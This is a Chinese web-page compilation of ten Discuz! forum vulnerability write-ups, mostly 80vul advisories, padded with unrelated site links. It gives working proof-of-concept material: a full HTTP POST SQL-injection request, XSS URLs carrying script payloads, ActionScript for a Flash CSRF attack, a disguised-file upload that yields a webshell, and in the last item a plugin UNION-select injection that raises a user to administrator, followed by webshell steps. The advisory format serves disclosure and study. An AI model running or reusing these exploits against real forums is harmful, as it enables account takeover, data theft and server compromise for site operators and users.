Discuz! trade.php 数据库注射 bug

| 收藏本文 下载本文 作者:浮生一日君

下面是小编为大家整理的Discuz! trade.php 数据库注射 bug(共含10篇),供大家参考借鉴,希望可以帮助您。同时,但愿您也能像本文投稿人“浮生一日君”一样,积极向本站投稿分享好文章。

Discuz! trade.php 数据库注射 bug

篇1:Discuz! trade.php 数据库注射 bug

由于Discuz!d的trade.php里的$message处理不严格导致引起数据库操作错误,通过SODB--06而导致xss攻击及数据库信息泄露的漏洞.

author: 80vul-B

team:www.80vul.com

一 分析

文件trade.php:

$message = trim($message);

if($message) {

$message = daddslashes($tradelog['message'], 1).“ttt”.$discuz_uid.“t”.$discuz_user.“t”.$timestamp.“t”.nl2br(strip_tags(substr($message, 0, 200)));

//$message用substr处理了下,取前200个字符

} else {

$message = daddslashes($tradelog['message'], 1);

}

$db->query(“UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE rderid='$orderid'”);

//这个地方$message直接进入sql语句了:)

showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);

}把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和',在经过substr的处理变为199个A和,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息,还有就是可能通过进行xss攻击?

二 利用

poc:

POST discuz/trade.php/?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1

Accept: */*

Accept-Language: zh-cn

Referer: 127.0.0.1/discuz/

User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)

Host: 127.0.0.1

Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow

Content-Length: 426

Content-Type: application/x-www-form-urlencoded

Connection: Close

formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312三 补丁[fix]

等待官方补丁

篇2:Discuz! moderation.inc.php 数据库注射 bug脚本安全

由于Discuz!d的include/moderation.inc.php存在一个'二次攻击'导致数据库'注射'的bug

author: 80vul-B

team:www.80vul.com

一 分析

在文件include/moderation.inc.php里代码:

$threadlist = $loglist = array;

if($tids = implodeids($moderate)) {

$query = $db->query(“SELECT * FROM {$tablepre}threads WHERE tid IN ($tids) AND fid='$fid' AND displayorder>='0' AND digest>='0' LIMIT $tpp”);

while($thread = $db->fetch_array($query)) {

...

$threadlist[$thread['tid']] = $thread;

...

foreach($threadlist as $tid => $thread) {

...

if($type == 'redirect') {

$db->query(“INSERT INTO {$tablepre}threads (fid, readperm, iconid, author, authorid, subject, dateline, lastpost, lastposter, views, replies, displayorder, digest, closed, special, attachment)

VALUES ('$thread[fid]', '$thread[readperm]', '$thread[iconid]', '”.addslashes($thread['author']).“', '$thread[authorid]', '”.addslashes($thread['subject']).“', '$thread[dateline]', '$thread[dblastpost]', '$thread[lastposter]', '0', '0', '0', '0', '$thread[tid]', '0', '0')”);

这个比较明显,从数据库查询出的值$thread[lastposter]直接带入了insert语句中,导致了注射:)

这个看上去比上面的那个用处大些,其实有很多的限制.首先$thread[lastposter]是从数据库中查询出来的值,有字数限制[不能大于15个字符];其次,这个地方需要版主权限才能操作.

二 利用

注册新用户,用户名为80vul',发表新回复,然后用拥有版主权限的账号将此帖转移,移动方式选为[移动主题并在原来的版块中保留转向],和上面的效果一样,执行时数据库报错了:)

三 补丁[fix]

等待官方补丁.

篇3:Discuz! 数据库错误信息xss bug脚本安全

由于Discuz!在处理数据库的错误信息时对$GLOBALS['PHP_SELF']没有过滤,导致在让数据库出错的情况下导致xss攻击.

author: 80vul-B

team:www.80vul.com

一 分析

在文件includedb_mysql_error.inc.php里代码:

if($message) {

$errmsg = “Discuz! info: $messagenn”;

}

if(isset($GLOBALS['_DSESSION']['discuz_user'])) {

$errmsg .= “User: ”.htmlspecialchars($GLOBALS['_DSESSION']['discuz_user']).“n”;

}

$errmsg .= “Time: ”.gmdate(“Y-n-j g:ia”, $timestamp + ($GLOBALS['timeoffset'] * 3600)).“n”;

$errmsg .= “Script: ”.$GLOBALS['PHP_SELF'].“nn”;

if($sql) {

$errmsg .= “SQL: ”.htmlspecialchars($sql).“n”;

}

$errmsg .= “Error:  $dberrorn”;

$errmsg .= “Errno.:  $dberrno”;

$GLOBALS['PHP_SELF']确实过滤,导致在出现sql错误信息时利用$GLOBALS['PHP_SELF']进行xss攻击.

二 利用

需要结合其他的让出现错误信息的漏洞.

三 补丁[fix]

过滤$GLOBALS['PHP_SELF']

篇4:Discuz! admincp.php xss bug

由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug.

author: 80vul-B

team:www.80vul.com

漏洞存在于文件admin/login.inc.php里$url_forward没有被过滤导致xss漏洞:

poc:

127.0.0.1/discuz/admincp.php?url_forward=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

[管理员或版主前台登录,但未登录后台时触发]

篇5:Discuz! admindatabase.inc.php getwebshell bug

author: ring04h

team:www.80vul.com

[该漏洞由ring04h发现并且投递,thx]

由于Discuz!的admindatabase.inc.php里action=importzip解压zip文件时,导致可以得到webshell.

一 分析

在文件admindatabase.inc.php里代码:

.....

elseif($operation == 'importzip') {

require_once DISCUZ_ROOT.'admin/zip.func.php';

$unzip = new SimpleUnzip;

$unzip->ReadFile($datafile_server);

if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0))) {

cpmsg('database_import_file_illegal', '', 'error');

}

$identify = explode(',', base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1”, substr($unzip->GetData(0), 0, 256))));

$confirm = !empty($confirm) ? 1 : 0;

if(!$confirm && $identify[1] != $version) {

cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');

}

$sqlfilecount = 0;

foreach($unzip->Entries as $entry) {

if(preg_match(“/.sql$/i”, $entry->Name)) {

$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');

fwrite($fp, $entry->Data);

fclose($fp);

$sqlfilecount++;

}

}

......

注意2点

1. preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.

2. $identify = explode(',', base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1”, substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]

# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==

#

#

# Discuz! Multi-Volume Data Dump Vol.1

# Version: Discuz! 6.1.0

# Time: -11-27 11:38

# Type: discuz

# Table Prefix: cdb_

二 利用

提交:

<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes

=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes

三 补丁[fix]

篇6:Discuz! member.php xss bug

由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.

author:80vul-B

team:www.80vul.com

一 分析

member.php代码:

if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}...$multipage = multi($num, $memberperpage, $page, “member.php?action=list&listgid=$listgid&srchmem=”.rawurlencode($srchmem).“&order=$order&type=0”, $membermaxpages);

二 利用

poc:

poc:

www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

会员列表页面存在分页时触发

三 补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}

[1]:download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

篇7:Discuz! 路径信息泄露 bug

由于Discuz! cache file的数组$_DCACHE,$_CACHE等的变量名没有初始化导致路径信息泄露.

author:80vul-A

team:www.80vul.com

一 分析

目录uc_clientdatacache,forumdatacache等下面的文件里对如:

$_CACHE['settings'] = array ('accessemail' => '','censoremail' => '','censorusername' => '','dateformat' => 'y-n-j','doublee' => '1','nextnotetime' => '0','timeoffset' => '28800',);$_DCACHE['settings'] = array ('accessemail' => '','adminipaccess' => '','admode' => '1','archiverstatus' => '1','attachbanperiods' => '','attachimgpost' => '1',

数组$_DCACHE,$_CACHE等没有初始化,其实dz的安全人员已经考虑到了这个问题,如在includecommon.inc.php

$_DCOOKIE = $_DSESSION = $_DCACHE = $_DPLUGIN = $advlist = array;

但是想对于独立的Discuz! cache file并没有初始化,当我们提交?_CACHE=1 或者_DCACHE=2 导致错误而暴露路径等信息.

二 利用

poc如:

www.80vul.com/bbs/forumdata/cache/cache_usergroups.php?_DCACHE=1

Notice: Array to string conversion in xxxforumdatacachecache_usergroups.php on line 6

三 补丁[fix]

等待官方补丁.

篇8:Discuz! cache.func.php 信息泄漏 bug

由于Discuz!的includecache.func.php缺少访问限制导致版本及补丁消息的泄露.

author: 80vul-A

team:www.80vul.com

漏洞存在于文件includecache.func.php里的代码如下:

define('DISCUZ_KERNEL_VERSION', '6.1.0');

define('DISCUZ_KERNEL_RELEASE', '0418');

if(isset($_GET['kernel_version'])) {

exit('Crossday Discuz! Board

Developed by Comsenz Inc.

Version: '.DISCUZ_KERNEL_VERSION.'

Release: '.DISCUZ_KERNEL_RELEASE);

} elseif(!defined('IN_DISCUZ')) {

exit('Access Denied');

}提交kernel_version的时会显示版本及补丁信息,如果攻击者结合google-hacking等技术很容易找到没有升级的程序,导致mass类攻击.

poc:

www.discuz.net/include/cache.func.php?kernel_version=1

显示:

Crossday Discuz! Board

Developed by Comsenz Inc.

Version: 7.0.0

Release: 20081031

[难道官方是打算1031发布7.00,不知道杂的又推迟了:(]

篇9:Discuz! flash Csrf bug脚本安全

由于Discuz!对flash跨域策略文件及上传图片文件处理不严导致可以绕过formhash及Referer的限制,导致csrf攻击.

author: 80vul-A

team:www.80vul.com

Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击.

一 分析

首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下:

允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码:

import RegExp;

var xml:XML = new XML;

xml.onData = function(s) {

tb1.text =  getFirstMatch(new RegExp(“

}

System.security.loadPolicyFile(“192.168.1.102/crossdomain.xml”);

xml.load(“192.168.1.102/d.txt”);

熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码:

.addRequestHeader(“Referer: foo/index.php?foo”,“www.80vul.com”);

来伪造Referer,但是我们可以通过类似于SODB-2008-01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破.

二 利用

POC[测试Discuz!5.5 其他版本的请自己编写]如下:

flash的原文件:www.80vul.com/dzvul/sodb/01/sodb-2008-02.fla

as代码如下:

import RegExp;

System.security.loadPolicyFile(“www.80vul.com/bbs/crossdomain.xml”);

var xml:XML = new XML();

xml.onData = function(s) {

tb1.text =  getFirstMatch(new RegExp(“

}

System.security.loadPolicyFile(“www.80vul.com/bbs/crossdomain.xml”);

xml.load(“www.80vul.com/bbs/admincp.php?action=members”);

function getFirstMatch(re, s, i) {

var m = null;

if ((m = re.exec(s)) != null) {

return m[i];

}

}

远程调用的html:

三 补丁

等待官方补丁.

[删除crossdomain.xml不可以完全修补该漏洞,crossdomain.xml可以为容易文件名loadPolicyFile()调用就行,所以攻击者可以通过上传等上传改名了的crossdomain.xml]

四 参考

[1]:superhei.blogbus.com/logs/13463505.html

篇10:Discuz!黑道生涯插件注射漏洞

神秘小强&1943

插件版本:2.2 2.5

注册一个论坛ID

IE提交下面代码

blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4/

提升到管理员

discuz7.0.0后台得webshell方法

/Article/200907/40200.html

如果是discuz6.0 的后台就提交

admincp.php?action=styles&edit=1

最后得到的webshell地址还是forumdata/cache/style_1.php

ps:貌似xxbing就是这样日t00ls的?

注射室年终总结

Discuz! 6.1.0 正式版发布

Discuz如何导入主题

数据库面试题

儿科注射室工作体会

Discuz XSS得webshell脚本安全

丹参川芎嗪注射医学检验论文

嵌入式数据库 hamsterdb

数据库课程设计报告

ChangeAllObjectOwner数据库教程

Discuz! trade.php 数据库注射 bug(推荐10篇)

欢迎下载DOC格式的Discuz! trade.php 数据库注射 bug,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档